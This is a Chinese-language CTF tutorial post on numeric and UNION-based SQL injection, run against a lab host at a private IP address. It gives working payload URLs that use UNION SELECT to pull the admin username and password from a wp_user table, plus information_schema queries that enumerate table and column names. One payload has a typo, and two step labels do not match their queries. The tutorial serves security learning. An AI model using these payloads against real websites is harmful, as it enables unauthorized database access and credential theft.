vlambda博客
学习文章列表

CTFer成长之路-SQL注入-数字型注入和UNION注入

一:数字型注入和UNION注入

mysql的语法参考

https://blog.csdn.net/weixin_40022980/article/details/82740860


本节的目标是通过HTTP的GET方式输入的id值,将本应查询新闻表的功能转变成查询admin(通常为管理员)的账号和密码(密码通常是hash值,这里为了演示变为明文this_is_the_admin_password)。管理员的账号和密码是一个网站系统最重要的凭据,入侵者可以通过它登录网站后台,从而控制整个网站内容。


下面复原注入攻击流程

第一步:

访问链接http://192.168.20.133/sql1.php?id=2和http://192.168.20.133/sql1.php?id=3-1,可以看到页面仍显示id=2的记录。这个现象说明,MySQL对“3-1”表达式进行了计算并得到结果为2,然后查询了id=2的记录。

第二步:

第一种方法http://192.168.20.133/sql1.php?id=1 union select user,pwd from wp_user limit 1,1(空格用%20替换)

第二种方法http://192.168.20.133/sql1.php?id=-1 union select user,pwd from wp_user

个人建议用第二种方法拿到数据库数据


刚才的例子是因为我们已经知道了数据库结构,那么在测试情况下,如何知道数据表的字段名pwd和表名wp_user呢?


MySQL 5.0版本后,默认自带一个数据库information_schema,MySQL的所有数据库名、表名、字段名都可以从中查询到。


1.查询数据库名

http://192.168.20.133/sql1.php?id=-1 union select 1group_concat(table_name)from information_schema.tables where table_schema=database()

2.查询表名

http://192.168.20.133/sql1.php?id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_name='wp_user'


————————————————

原文链接:

https://blog.csdn.net/aa2528877987/article/details/118550133